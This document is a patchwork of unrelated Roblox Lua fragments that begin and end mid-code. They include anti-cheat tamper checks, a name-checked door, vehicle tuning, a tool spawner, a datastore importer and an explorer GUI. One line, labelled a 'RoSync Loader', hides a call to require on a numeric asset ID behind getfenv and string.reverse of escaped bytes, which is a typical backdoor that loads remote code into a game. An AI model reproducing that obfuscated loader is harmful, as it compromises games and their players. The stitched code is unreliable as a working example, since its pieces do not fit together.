detected, or other data send unlocked DoS") end end, function() Detected("kick", "Tamper Protection 0x11984") end)--]] -- // Anti humanoid data spoof xpcall(function() local eventCount = 0 local oldWalkSpeed, oldJumpPower = spoofedHumanoidCheck.WalkSpeed, spoofedHumanoidCheck.JumpPower local newWalkSpeed, newJumpPower = math.random(1, 100), math.random(1, 100) local connection1, connection2, connection3 connection1 = spoofedHumanoidCheck.Changed:Connect(function() eventCount += 1 end) connection2 = spoofedHumanoidCheck:GetPropertyChangedSignal("WalkSpeed"):Connect(function() eventCount += 1 end) connection3 = spoofedHumanoidCheck:GetPropertyChangedSignal("JumpPower"):Connect(function() eventCount += 1 end) spoofedHumanoidCheck.WalkSpeed = newWalkSpeed spoofedHumanoidCheck.JumpPower = newJumpPower if spoofedHumanoidCheck.WalkSpeed ~= newWalkSpeed or spoofedHumanoidCheck.JumpPower ~= newJumpPower then Detected("kick", "Humanoid tampering detected. Method 0x1") end if newWalkSpeed == oldWalkSpeed then eventCount += 2 end if newJumpPower == oldJumpPower then eventCount += 2 end task.spawn(function() task.wait(5) connection1:Disconnect() connection2:Disconnect() connection3:Disconnect() if eventCount < 4 then Detected("kick", "Humanoid tampering detected. Method 0x2. Count: "..tostring(eventCount)) end end) end, function() Detected("kick", "Tamper Protection 0x16C1D") end) if gcinfo() ~= collectgarbage("count") then Detected("kick", "GC spoofing detected") end xpcall(function() local strings = { "Loaded press z to", "press x to respawn", "Fe Invisible Fling By", "Diemiers#4209", "Respawning dont spam" } for _, object in ipairs(workspace:GetChildren()) do if object:IsA("Message") then local text = object.Text for _, v in ipairs(strings) do if string.find(text, v, 1, true) then Detected("kick", "Invisible FE fling GUI detected") end end end end end, warn) end) end } for k, v in pairs(Detectors) do Anti.AddDetector(k, v) end -- // The tamper checks below are quite bad but they are sufficient for now local lastChanged1, lastChanged2, lastChanged3 = os.clock(), os.clock(), os.clock() local checkEvent = service.UnWrap(script).Changed:Connect(function(prop) if prop == "Name" and string.match(script.Name, "^\n\n+ModuleScript$") then lastChanged1 = os.clock() elseif not isStudio then Detected("kick", "Tamper Protection 0xC1E7") end end) do local meta = service.MetaFunc local track = meta(service.TrackTask) local opcall = meta(pcall) local oWait = meta(wait) local time = meta(time) local oldName = "" track("Thread: TableCheck", meta(function() while oWait(1) do local success, value = pcall(function() return Anti.Detectors end) if not success or script.Archivable ~= false or not isStudio and (not string.match(script.Name, "^\n\n+ModuleScript$") or os.clock() - lastChanged1 > 60) or os.clock() - lastChanged3 > 60 or not checkEvent or typeof(checkEvent) ~= "RBXScriptConnection" or checkEvent.Connected ~= true then opcall(Detected, "crash", "Tamper Protection 0x16471") oWait(1) opcall(Disconnect, "Adonis_0x16471") opcall(Kill, "Adonis_0x16471") opcall(Kick, Player, "Adonis_0x16471") end if not isStudio then local newName = "\n\n"..string.rep("\n", math.random(1, 50)).."ModuleScript" if newName == oldName then lastChanged1 = os.clock() end script.Name, oldName = newName, newName else lastChanged1 = os.clock() end lastChanged2 = os.clock() end end)) task.spawn(xpcall, function() while true do if not isStudio and math.abs(os.clock() - lastChanged1) > 60 or math.abs(os.clock() - lastChanged2) > 60 or math.abs(os.clock() - lastChanged3) > 60 then opcall(Detected, "crash", "Tamper Protection 0xE28D") oWait(1) opcall(Disconnect, "Adonis_0xE28D") opcall(Kill, "Adonis_0xE28D") opcall(Kick, Player, "Adonis_0xE28D") end task.wait(1) lastChanged3 = os.clock() end end, function() opcall(Detected, "crash", "Tamper Protection 0x36C6") oWait(1) opcall(Disconnect, "Adonis_0x36C6") opcall(Kill, "Adonis_0x36C6") opcall(Kick, Player, "Adonis_0x36C6") end) end end
--// Variables
repeat wait() until Players.LocalPlayer local Player = Players.LocalPlayer local petsInMultiDelete = {}
---Drivetrain Initialize
local wDia = 0 local Drive={} if _Tune.Config == "FWD" or _Tune.Config == "AWD" then if car.Wheels:FindFirstChild("FL")~= nil then table.insert(Drive,car.Wheels.FL) end if car.Wheels:FindFirstChild("FR")~= nil then table.insert(Drive,car.Wheels.FR) end end if _Tune.Config == "RWD" or _Tune.Config == "AWD" then if car.Wheels:FindFirstChild("RL")~= nil then table.insert(Drive,car.Wheels.RL) end if car.Wheels:FindFirstChild("RR")~= nil then table.insert(Drive,car.Wheels.RR) end end for i,v in pairs(Drive) do if v.Size.x>wDia then wDia = v.Size.x end end
-- Module Scripts
local moduleScripts = ServerStorage.ModuleScripts local replicatedModuleScripts = ReplicatedStorage.ModuleScripts local roundManager = require(moduleScripts.RoundManager) local gameSettings = require(moduleScripts.GameSettings) local displayManager = require(moduleScripts.DisplayManager) local timer = require(replicatedModuleScripts.Timer)
-- list of account names allowed to go through the door.
permission = {"bluelego07091"}--Put your friends name's here. You can add more. function checkOkToLetIn(name) for i = 1,#permission do -- convert strings to all upper case, otherwise we will let in, -- "conrad105," and, "builderman," but not, "blast1." -- Why? Because, "blast1," is how it is spelled in the permissions. if (string.upper(name) == string.upper(permission[i])) then return true end end return false end local Door = script.Parent function onTouched(hit) print("Door Hit") local human = hit.Parent:findFirstChild("Humanoid") if (human ~= nil ) then -- a human has touched this door! print("Human touched door") -- test the human's name against the permission list if (checkOkToLetIn(human.Parent.Name)) then print("Human passed test") Door.Transparency = 0.7 Door.CanCollide = false wait(4) -- this is how long the door is open Door.CanCollide = true Door.Transparency = 0 end end end script.Parent.Touched:connect(onTouched)
-- See if I have a tool
local spawner = script.Parent local tool = nil local region = Region3.new(Vector3.new(spawner.Position.X - spawner.Size.X/2, spawner.Position.Y + spawner.Size.Y/2, spawner.Position.Z - spawner.Size.Z/2), Vector3.new(spawner.Position.X + spawner.Size.X/2, spawner.Position.Y + 4, spawner.Position.Z + spawner.Size.Z/2)) local parts = game.Workspace:FindPartsInRegion3(region) for _, part in pairs(parts) do if part and part.Parent and part.Parent:IsA("Tool") then tool = part.Parent break end end local configTable = spawner.Configurations local configs = {} local function loadConfig(configName, defaultValue) if configTable:FindFirstChild(configName) then configs[configName] = configTable:FindFirstChild(configName).Value else configs[configName] = defaultValue end end loadConfig("SpawnCooldown", 20) if tool then tool.Parent = game.ServerStorage while true do -- put tool on pad local toolCopy = tool:Clone() local handle = toolCopy:FindFirstChild("Handle") toolCopy.Parent = game.Workspace local toolOnPad = true local parentConnection parentConnection = toolCopy.AncestryChanged:connect(function() if handle then handle.Anchored = false end toolOnPad = false parentConnection:disconnect() end) if handle then handle.CFrame = (spawner.CFrame + Vector3.new(0,handle.Size.Z/2 + 1,0)) * CFrame.Angles(-math.pi/2,0,0) handle.Anchored = true end -- wait for tool to be removed while toolOnPad do if handle then handle.CFrame = handle.CFrame * CFrame.Angles(math.pi/60,math.pi/60,math.pi/60) end wait() end -- wait for cooldown wait(configs["SpawnCooldown"]) end end
-- // Settings
local blood_destroy_delay = 10 local blood_parts_per_hit = 4
--------STAGE LIGHTS--------
game.Workspace.sb1.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.sb2.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.sb3.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.sb4.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.sb5.BrickColor = BrickColor.new(game.Workspace.Lighting.cyandj.Value) game.Workspace.sb6.BrickColor = BrickColor.new(game.Workspace.Lighting.cyandj.Value) game.Workspace.post1.Light.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.post2.Light.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.post3.Light.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.post4.Light.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
-- print(Vector) -- if Vector == Vector3.new(0, 0, 0) then -- print("Idle") -- end
if Vector.z >= -1 and Vector.z < 0 then w=true else w=false end if Vector.z > 0 then s=true else s=false end if Vector.x >= -1 and Vector.x < 0 then a=true else a=false end if Vector.x > 0 then d=true else d=false end if up then rotorSpd(0.6) if chg.y<30 then chg=chg+Vector3.new(0,2,0) end elseif dn then rotorSpd(0.2) if chg.y>-30 then chg=chg+Vector3.new(0,-2,0) end elseif chg.magnitude>1 then rotorSpd(0.4) chg=chg*0.9 else rotorSpd(0.4) chg=Vector3.new(0,1,0) end if w then if inc<max_speed then inc=inc+2 end spd.velocity=chg+(engine.CFrame.lookVector+Vector3.new(0,0.3,0))*inc gyro.cframe=mouse.Hit elseif s then if inc >-max_speed then inc=inc-2 end spd.velocity=chg+(engine.CFrame.lookVector-Vector3.new(0,0.3,0))*inc gyro.cframe=mouse.Hit else inc=inc*0.9 spd.velocity=chg+engine.CFrame.lookVector*inc+Vector3.new(0,0,0) gyro.cframe=mouse.Hit end if a then
--Returns whether the given position is under cover
local function UnderObject(pos, l) l = l or 120 -- raycast local hit, position = Workspace:FindPartOnRayWithIgnoreList(Ray.new(pos, UpVec * l), ignoreList) if hit then return hit.Transparency ~= 1 and true or UnderObject(position + UpVec, l - (pos - position).Magnitude) else return false end end
--- Same as indexing, but uses an incremented number as a key -- @param Task An item to clean -- @return int TaskId
function Maid:GiveTask(Task) local TaskId = #self.Tasks+1 self[TaskId] = Task return TaskId end
-- Gradually regenerates the Humanoid's Health over time.
local REGEN_RATE = 1/100 -- Regenerate this fraction of MaxHealth per second. local REGEN_STEP = .1 -- Wait this long between each regeneration step.
--[[ Last synced 11/11/2020 02:33 RoSync Loader ]]
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[ ]]--
-- Create a laser beam from a start position towards an end position
function LaserRenderer.createLaser(toolHandle, endPosition) local startPosition = toolHandle.Position local laserDistance = (startPosition - endPosition).Magnitude local laserCFrame = CFrame.lookAt(startPosition, endPosition) * CFrame.new(0, 0, -laserDistance / 2) local laserPart = Instance.new("Part") laserPart.Size = Vector3.new(0.2, 0.2, laserDistance) laserPart.CFrame = laserCFrame laserPart.Anchored = true laserPart.CanCollide = false laserPart.Color = Color3.fromRGB(255, 0, 0) laserPart.Material = Enum.Material.Neon laserPart.Parent = workspace -- Add laser beam to the Debris service to be removed & cleaned up game.Debris:AddItem(laserPart, SHOT_DURATION) -- Play the weapon's shooting sound local shootingSound = toolHandle:FindFirstChild("Activate") if shootingSound then shootingSound:Play() end end return LaserRenderer
--[=[ @param name string @param enums {string} @return EnumList Constructs a new EnumList. ```lua local directions = EnumList.new("Directions", { "Up", "Down", "Left", "Right", }) local direction = directions.Up ``` ]=]
function EnumList.new(name: string, enums: EnumNames) local scope = Symbol.new(name, nil) local enumItems: {[string]: Symbol.Symbol} = {} for _,enumName in ipairs(enums) do enumItems[enumName] = Symbol.new(enumName, scope) end local self = setmetatable({ _scope = scope; }, { __index = function(_t, k) if enumItems[k] then return enumItems[k] elseif EnumList[k] then return EnumList[k] else error("Unknown " .. name .. ": " .. tostring(k), 2) end end; __newindex = function() error("Cannot add new " .. name, 2) end; }) return self end
-- Module for converting player to and from a speeder
local ReplicatedModuleScripts = ReplicatedStorage:FindFirstChild("ModuleScripts") local PlayerConverter = require(ReplicatedModuleScripts:FindFirstChild("PlayerConverter")) local RaceManager = require(ReplicatedModuleScripts:FindFirstChild("RaceManager"))
-- Class
local SpringClass = {} SpringClass.__index = SpringClass SpringClass.__type = "Spring" function SpringClass:__tostring() return SpringClass.__type end
-- Detect player within zone and flash parts
local sensor = script.Parent.Parent.Door.Sensor while wait() do local shouldOpen = false for _, Player in pairs(game.Players:GetPlayers()) do if (Player.Character and Player.Character:FindFirstChild("HumanoidRootPart") and (Player.Character.HumanoidRootPart.Position - sensor.Position).magnitude < 10) then shouldOpen = true break end end -- Flash parts if shouldOpen and not Open then Open = true DoorLogo.Beep:Play() Flash("Bright green") Move(true) elseif not shouldOpen and Open then Open = false Move(false) DoorLogo.Beep:Play() Flash("Bright red") end end
--[[Engine]]
--Torque Curve Tune.Horsepower = 900 -- [TORQUE CURVE VISUAL] Tune.IdleRPM = 700 -- https://www.desmos.com/calculator/2uo3hqwdhf Tune.PeakRPM = 6500 -- Use sliders to manipulate values Tune.Redline = 7000 -- Copy and paste slider values into the respective tune values Tune.EqPoint = 6500 Tune.PeakSharpness = 7.5 Tune.CurveMult = 0.16 --Incline Compensation Tune.InclineComp = 2.1 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees) --Misc Tune.RevAccel = 100 -- RPM acceleration when clutch is off Tune.RevDecay = 50 -- RPM decay when clutch is off Tune.RevBounce = 50 -- RPM kickback from redline Tune.IdleThrottle = 3 -- Percent throttle at idle Tune.ClutchTol = 500 -- Clutch engagement threshold (higher = faster response)
-- Import into a single datastore:
local function importPairsFromTable(origin, destination, interface, warnFunc, methodName, prefix, isOrdered) for key, value in pairs(origin) do if type(key) ~= "string" then warnFunc(("%s: ignored %s > %q (key is not a string, but a %s)") :format(methodName, prefix, tostring(key), typeof(key))) elseif not utf8.len(key) then warnFunc(("%s: ignored %s > %q (key is not valid UTF-8)") :format(methodName, prefix, tostring(key))) elseif #key > Constants.MAX_LENGTH_KEY then warnFunc(("%s: ignored %s > %q (key exceeds %d character limit)") :format(methodName, prefix, key, Constants.MAX_LENGTH_KEY)) elseif type(value) == "string" and #value > Constants.MAX_LENGTH_DATA then warnFunc(("%s: ignored %s > %q (length of value exceeds %d character limit)") :format(methodName, prefix, key, Constants.MAX_LENGTH_DATA)) elseif type(value) == "table" and #HttpService:JSONEncode(value) > Constants.MAX_LENGTH_DATA then warnFunc(("%s: ignored %s > %q (length of encoded value exceeds %d character limit)") :format(methodName, prefix, key, Constants.MAX_LENGTH_DATA)) elseif type(value) == "function" or type(value) == "userdata" or type(value) == "thread" then warnFunc(("%s: ignored %s > %q (cannot store value %q of type %s)") :format(methodName, prefix, key, tostring(value), type(value))) elseif isOrdered and type(value) ~= "number" then warnFunc(("%s: ignored %s > %q (cannot store value %q of type %s in OrderedDataStore)") :format(methodName, prefix, key, tostring(value), type(value))) elseif isOrdered and value % 1 ~= 0 then warnFunc(("%s: ignored %s > %q (cannot store non-integer value %q in OrderedDataStore)") :format(methodName, prefix, key, tostring(value))) elseif type(value) == "string" and not utf8.len(value) then warnFunc(("%s: ignored %s > %q (string value is not valid UTF-8)") :format(methodName, prefix, key, tostring(value), type(value))) else local isValid = true local keyPath, reason if type(value) == "table" then isValid, keyPath, reason = scanValidity(value) end if isOrdered then value = math.floor(value + .5) end if isValid then local old = destination[key] destination[key] = value if interface and old ~= value then -- hacky block to fire OnUpdate signals if isOrdered and interface then -- hacky block to populate internal structures for OrderedDataStores if interface.__ref[key] then interface.__ref[key].Value = value interface.__changed = true else interface.__ref[key] = {Key = key, Value = interface.__data[key]} table.insert(interface.__sorted, interface.__ref[key]) interface.__changed = true end end interface.__event:Fire(key, value) end else warnFunc(("%s: ignored %s > %q (table has invalid entry at <%s>: %s)") :format(methodName, prefix, key, getStringPath(keyPath), reason)) end end end end
---------------------------------------------------------------- ---------------------------------------------------------------- ---------------------------------------------------------------- ---------------------------------------------------------------- ---- Explorer panel
Create(explorerPanel,{ BackgroundColor3 = GuiColor.Field; BorderColor3 = GuiColor.Border; Active = true; }) local SettingsRemote = explorerPanel.Parent:WaitForChild("SettingsPanel"):WaitForChild("GetSetting") local GetApiRemote = explorerPanel.Parent:WaitForChild("PropertiesFrame"):WaitForChild("GetApi") local GetAwaitRemote = explorerPanel.Parent:WaitForChild("PropertiesFrame"):WaitForChild("GetAwaiting") local bindSetAwaiting = explorerPanel.Parent:WaitForChild("PropertiesFrame"):WaitForChild("SetAwaiting") local CautionWindow = explorerPanel.Parent:WaitForChild("Caution") local TableCautionWindow = explorerPanel.Parent:WaitForChild("TableCaution") local RemoteWindow = explorerPanel.Parent:WaitForChild("CallRemote") local CurrentRemoteWindow local lastSelectedNode local listFrame = Create('Frame',{ Name = "List"; BackgroundTransparency = 1; ClipsDescendants = true; Position = UDim2_new(0,0,0,HEADER_SIZE); Size = UDim2_new(1,-GUI_SIZE,1,-HEADER_SIZE); Parent = explorerPanel; }) local scrollBar = ScrollBar(false) scrollBar.PageIncrement = 1 Create(scrollBar.GUI,{ Position = UDim2_new(1,-GUI_SIZE,0,HEADER_SIZE); Size = UDim2_new(0,GUI_SIZE,1,-HEADER_SIZE); Parent = explorerPanel; }) local scrollBarH = ScrollBar(true) scrollBarH.PageIncrement = GUI_SIZE Create(scrollBarH.GUI,{ Position = UDim2_new(0,0,1,-GUI_SIZE); Size = UDim2_new(1,-GUI_SIZE,0,GUI_SIZE); Visible = false; Parent = explorerPanel; }) local headerFrame = Create('Frame',{ Name = "Header"; BackgroundColor3 = GuiColor.Background; BorderSizePixel = 0; Position = UDim2_new(0,0,0,0); Size = UDim2_new(1,0,0,HEADER_SIZE); Parent = explorerPanel; Create('TextLabel',{ Text = "Explorer"; BackgroundTransparency = 1; TextColor3 = GuiColor.Text; TextXAlignment = 'Left'; Font = FONT; FontSize = FONT_SIZE; Position = UDim2_new(0,4,0,0); Size = UDim2_new(1,-4,0.5,0); }); }) local explorerFilter = Create('TextBox',{ PlaceholderText = "Filter workspace..."; PlaceholderColor3 = Color3_fromRGB(153, 153, 153); Text = ""; BackgroundTransparency = 0.8; TextColor3 = GuiColor.Text; TextXAlignment = 'Left'; Font = FONT; FontSize = FONT_SIZE; Position = UDim2_new(0,4,0.5,0); Size = UDim2_new(1,-8,0.5,-2); Create('UIPadding',{ PaddingLeft = UDim.new(0, 4) }) }); explorerFilter.Parent = headerFrame SetZIndexOnChanged(explorerPanel) local function CreateColor3(r, g, b) return Color3_new(r/255,g/255,b/255) end local Styles = { Font = Enum.Font.Arial, Margin = 5, Black = Color3_fromRGB(0,0,5), Black2 = Color3_fromRGB(24, 24, 29), White = Color3_fromRGB(244,244,249), WhiteOver = Color3_fromRGB(200,200,205), Hover = Color3_fromRGB(2, 128, 149), Hover2 = Color3_fromRGB(5, 102, 146) } local Row = { Font = Styles.Font, FontSize = Enum.FontSize.Size14, TextXAlignment = Enum.TextXAlignment.Left, TextColor = Styles.White, TextColorOver = Styles.WhiteOver, TextLockedColor = Color3_fromRGB(155,155,160), Height = 24, BorderColor = Color3_fromRGB(54,54,55), BackgroundColor = Styles.Black2, BackgroundColorAlternate = Color3_fromRGB(32, 32, 37), BackgroundColorMouseover = Color3_fromRGB(40, 40, 45), TitleMarginLeft = 15 } local DropDown = { Font = Styles.Font, FontSize = Enum.FontSize.Size14, TextColor = Color3_fromRGB(255,255,260), TextColorOver = Row.TextColorOver, TextXAlignment = Enum.TextXAlignment.Left, Height = 20, BackColor = Styles.Black2, BackColorOver = Styles.Hover2, BorderColor = Color3_fromRGB(45,45,50), BorderSizePixel = 0, ArrowColor = Color3_fromRGB(80,80,83), ArrowColorOver = Styles.Hover } local BrickColors = { BoxSize = 13, BorderSizePixel = 0, BorderColor = Color3_fromRGB(53,53,55), FrameColor = Color3_fromRGB(53,53,55), Size = 20, Padding = 4, ColorsPerRow = 8, OuterBorder = 1, OuterBorderColor = Styles.Black } local currentRightClickMenu local CurrentInsertObjectWindow local CurrentFunctionCallerWindow local RbxApi function ClassCanCreate(IName) local success,err = pcall(function() Instance_new(IName) end) if err then return false else return true end end function GetClasses() if RbxApi == nil then return {} end local classTable = {} for i,v in pairs(RbxApi.Classes) do if ClassCanCreate(v.Name) then table.insert(classTable,v.Name) end end return classTable end local function sortAlphabetic(t, property) table.sort(t, function(x,y) return x[property] < y[property] end) end local function FunctionIsHidden(functionData) local tags = functionData["Tags"] if tags then for _,name in pairs(tags) do if name == "Deprecated" or name == "Hidden" or name == "ReadOnly" or name == "NotScriptable" then return true end end end return false end local function GetAllFunctions(className) local class = RbxApi.Classes[className] local functions = {} if not class then return functions end while class do if class.Name == "Instance" then break end for _,nextFunction in pairs(class.Members) do if nextFunction.MemberType == "Function" and not FunctionIsHidden(nextFunction) then table.insert(functions, nextFunction) end end class = RbxApi.Classes[class.Superclass] end sortAlphabetic(functions, "Name") return functions end function GetFunctions() if RbxApi == nil then return {} end local List = SelectionVar():Get() if #List == 0 then return end local MyObject = List[1] local functionTable = {} for i,v in pairs(GetAllFunctions(MyObject.ClassName)) do table.insert(functionTable,v) end return functionTable end function CreateInsertObjectMenu(choices, currentChoice, readOnly, onClick) local mouse = game:GetService("Players").LocalPlayer:GetMouse() local totalSize = explorerPanel.Parent.AbsoluteSize.y if #choices == 0 then return end table.sort(choices, function(a,b) return a < b end) local frame = Instance_new("Frame") frame.Name = "InsertObject" frame.Size = UDim2_new(0, 200, 1, 0) frame.BackgroundTransparency = 1 frame.Active = true local menu = nil local arrow = nil local expanded = false local margin = DropDown.BorderSizePixel; --[[ local button = Instance_new("TextButton") button.Font = Row.Font button.FontSize = Row.FontSize button.TextXAlignment = Row.TextXAlignment button.BackgroundTransparency = 1 button.TextColor3 = Row.TextColor if readOnly then button.TextColor3 = Row.TextLockedColor end button.Text = currentChoice button.Size = UDim2_new(1, -2 * Styles.Margin, 1, 0) button.Position = UDim2_new(0, Styles.Margin, 0, 0) button.Parent = frame --]] local function hideMenu() expanded = false --showArrow(DropDown.ArrowColor) if frame then --frame:Destroy() CurrentInsertObjectWindow.Visible = false end end local function showMenu() expanded = true menu = Instance_new("ScrollingFrame") menu.Size = UDim2_new(0,200,1,0) menu.CanvasSize = UDim2_new(0, 200, 0, #choices * DropDown.Height) menu.Position = UDim2_new(0, margin, 0, 0) menu.BackgroundTransparency = 0 menu.BackgroundColor3 = DropDown.BackColor menu.BorderColor3 = DropDown.BorderColor menu.BorderSizePixel = DropDown.BorderSizePixel menu.TopImage = "rbxasset://textures/blackBkg_square.png" menu.MidImage = "rbxasset://textures/blackBkg_square.png" menu.BottomImage = "rbxasset://textures/blackBkg_square.png" menu.Active = true menu.ZIndex = 5 menu.Parent = frame --local parentFrameHeight = script.Parent.List.Size.Y.Offset --local rowHeight = mouse.Y --if (rowHeight + menu.Size.Y.Offset) > parentFrameHeight then -- menu.Position = UDim2_new(0, margin, 0, -1 * (#choices * DropDown.Height) - margin) --end local function choice(name) onClick(name) hideMenu() end for i,name in pairs(choices) do local option = CreateRightClickMenuItem(name, function() choice(name) end,1) option.Size = UDim2_new(1, 0, 0, 20) option.Position = UDim2_new(0, 0, 0, (i - 1) * DropDown.Height) option.ZIndex = menu.ZIndex option.Parent = menu end end showMenu() return frame end function CreateFunctionCallerMenu(choices, currentChoice, readOnly, onClick) local mouse = game:GetService("Players").LocalPlayer:GetMouse() local totalSize = explorerPanel.Parent.AbsoluteSize.y if #choices == 0 then return end table.sort(choices, function(a,b) return a.Name < b.Name end) local frame = Instance_new("Frame") frame.Name = "InsertObject" frame.Size = UDim2_new(0, 200, 1, 0) frame.BackgroundTransparency = 1 frame.Active = true local menu = nil local arrow = nil local expanded = false local margin = DropDown.BorderSizePixel; local function hideMenu() expanded = false --showArrow(DropDown.ArrowColor) if frame then --frame:Destroy() CurrentInsertObjectWindow.Visible = false end end local function showMenu() expanded = true menu = Instance_new("ScrollingFrame") menu.Size = UDim2_new(0,300,1,0) menu.CanvasSize = UDim2_new(0, 300, 0, #choices * DropDown.Height) menu.Position = UDim2_new(0, margin, 0, 0) menu.BackgroundTransparency = 0 menu.BackgroundColor3 = DropDown.BackColor menu.BorderColor3 = DropDown.BorderColor menu.BorderSizePixel = DropDown.BorderSizePixel menu.TopImage = "rbxasset://textures/blackBkg_square.png" menu.MidImage = "rbxasset://textures/blackBkg_square.png" menu.BottomImage = "rbxasset://textures/blackBkg_square.png" menu.Active = true menu.ZIndex = 5 menu.Parent = frame --local parentFrameHeight = script.Parent.List.Size.Y.Offset --local rowHeight = mouse.Y --if (rowHeight + menu.Size.Y.Offset) > parentFrameHeight then -- menu.Position = UDim2_new(0, margin, 0, -1 * (#choices * DropDown.Height) - margin) --end local function GetParameters(functionData) local paraString = "" paraString = paraString.."(" for i,v in pairs(functionData.Parameters) do paraString = paraString..v.Type.Name.." "..v.Name if i < #functionData.Parameters then paraString = paraString..", " end end paraString = paraString..")" return paraString end local function choice(name) onClick(name) hideMenu() end for i,name in pairs(choices) do local option = CreateRightClickMenuItem(name.ReturnType.Name.." "..name.Name..GetParameters(name), function() choice(name) end,2) option.Size = UDim2_new(1, 0, 0, 20) option.Position = UDim2_new(0, 0, 0, (i - 1) * DropDown.Height) option.ZIndex = menu.ZIndex option.Parent = menu end end showMenu() return frame end function CreateInsertObject() if not CurrentInsertObjectWindow then return end CurrentInsertObjectWindow.Visible = true if currentRightClickMenu and CurrentInsertObjectWindow.Visible then CurrentInsertObjectWindow.Position = UDim2_new(0,currentRightClickMenu.Position.X.Offset-currentRightClickMenu.Size.X.Offset,0,0) end if CurrentInsertObjectWindow.Visible then CurrentInsertObjectWindow.Parent = explorerPanel.Parent end end function CreateFunctionCaller(oh) if CurrentFunctionCallerWindow then CurrentFunctionCallerWindow:Destroy() CurrentFunctionCallerWindow = nil end CurrentFunctionCallerWindow = CreateFunctionCallerMenu( GetFunctions(), "", false, function(option) CurrentFunctionCallerWindow:Destroy() CurrentFunctionCallerWindow = nil local list = SelectionVar():Get() for i,v in pairs(list) do local rets = RemoteEvent:InvokeServer("CallFunction",v,option.Name) print(rets) pcall(function() print("Function", option.Name, "on", v, ":", unpack(rets)) end) end DestroyRightClick() end ) if currentRightClickMenu and CurrentFunctionCallerWindow then CurrentFunctionCallerWindow.Position = UDim2_new(0,currentRightClickMenu.Position.X.Offset-currentRightClickMenu.Size.X.Offset*1.5,0,0) end if CurrentFunctionCallerWindow then CurrentFunctionCallerWindow.Parent = explorerPanel.Parent end end function CreateRightClickMenuItem(text, onClick, insObj) local button = Instance_new("TextButton") button.Font = DropDown.Font button.FontSize = DropDown.FontSize button.TextColor3 = DropDown.TextColor button.BackgroundColor3 = DropDown.BackColor button.AutoButtonColor = false button.BorderSizePixel = 0 button.TextTransparency = 1 button.Active = true if text then local label = Instance_new("TextLabel") label.Size = UDim2_new(1, 0, 1, 0) label.Font = DropDown.Font label.FontSize = Enum.FontSize.Size11 label.TextColor3 = DropDown.TextColor label.TextXAlignment = DropDown.TextXAlignment label.BackgroundTransparency = 1 label.BorderSizePixel = 0 label.ZIndex = 5 label.Text = text button.Text = text label.Parent = button if insObj == 2 then label.FontSize = Enum.FontSize.Size11 label.Size = UDim2_new(1, -16, 1, 0) label.Position = UDim2_new(0, 16, 0, 0) else if insObj == 1 or ExplorerIndex[text] then if ExplorerIndex[text] then local newIcon = Icon(nil,ExplorerIndex[text] or 0) newIcon.Position = UDim2_new(0,2,0,2) newIcon.Size = UDim2_new(0,16,0,16) newIcon.IconMap.ZIndex = 5 newIcon.Parent = button else local newIcon = ClassIcon(nil,ClassIndex[text] or 0) newIcon.Position = UDim2_new(0,2,0,2) newIcon.Size = UDim2_new(0,16,0,16) newIcon.IconMap.ZIndex = 5 newIcon.Parent = button end end label.Size = UDim2_new(1, -32, 1, 0) label.Position = UDim2_new(0, 32, 0, 0) end button.MouseEnter:connect(function() button.TextColor3 = DropDown.TextColorOver button.BackgroundColor3 = DropDown.BackColorOver if not insObj and CurrentInsertObjectWindow then if CurrentInsertObjectWindow.Visible == false and button.Text == "Insert Object" then CreateInsertObject() elseif CurrentInsertObjectWindow.Visible and button.Text ~= "Insert Object" then CurrentInsertObjectWindow.Visible = false end end if not insObj then if CurrentFunctionCallerWindow and button.Text ~= "Call Function" then CurrentFunctionCallerWindow:Destroy() CurrentFunctionCallerWindow = nil elseif button.Text == "Call Function" then CreateFunctionCaller() end end end) button.MouseLeave:connect(function() button.TextColor3 = DropDown.TextColor button.BackgroundColor3 = DropDown.BackColor end) button.MouseButton1Click:connect(function() button.TextColor3 = DropDown.TextColor button.BackgroundColor3 = DropDown.BackColor onClick(text) end) else local sep = Instance_new("Frame", button) sep.Size = UDim2_new(1, -20, 0, 1) sep.Position = UDim2_new(0, 16, 0, 2) sep.BackgroundColor3 = DropDown.BorderColor sep.BorderSizePixel = 0 sep.ZIndex = 5 end return button end function CreateRightClickMenu(choices, currentChoice, readOnly, onClick) local mouse = game:GetService("Players").LocalPlayer:GetMouse() local frame = Instance_new("TextButton") frame.Name = "DropDown" frame.Size = UDim2_new(0, 200, 0, 0) frame.BackgroundTransparency = 1 frame.AutoButtonColor = false frame.Active = false local menu = nil local arrow = nil local expanded = false local margin = DropDown.BorderSizePixel; local function hideMenu() expanded = false if frame then frame:Destroy() DestroyRightClick() end end local function showMenu() expanded = true menu = Instance_new("Frame") menu.Size = UDim2_new(0, 200, 0, 0) for i,name in pairs(choices) do if name then menu.Size = menu.Size + UDim2_new(0, 0, 0, 20) else menu.Size = menu.Size + UDim2_new(0, 0, 0, 7) end end frame.Size = menu.Size + UDim2_new(0, 0, 0, 6) menu.Position = UDim2_new(0, 0, 0, 0) menu.BackgroundTransparency = 0 menu.BackgroundColor3 = DropDown.BackColor menu.BorderColor3 = DropDown.BorderColor menu.BorderSizePixel = DropDown.BorderSizePixel menu.Active = true menu.ZIndex = 5 menu.Parent = frame local function choice(name) onClick(name) hideMenu() end local previous for i,name in pairs(choices) do local option = CreateRightClickMenuItem(name, function() choice(name) end) if name then option.Size = UDim2_new(1, 0, 0, 20) else option.Size = UDim2_new(1, 0, 0, 7) end if previous then option.Position = UDim2_new(0, 0, 0, previous.Position.Height.Offset + previous.Size.Height.Offset) end option.ZIndex = menu.ZIndex option.Parent = menu previous = option end end showMenu() return frame end function checkMouseInGui(gui) if gui == nil then return false end local plrMouse = game:GetService("Players").LocalPlayer:GetMouse() local guiPosition = gui.AbsolutePosition local guiSize = gui.AbsoluteSize if plrMouse.X >= guiPosition.x and plrMouse.X <= guiPosition.x + guiSize.x and plrMouse.Y >= guiPosition.y and plrMouse.Y <= guiPosition.y + guiSize.y then return true else return false end end local clipboard = {} local function delete(o) o.Parent = nil 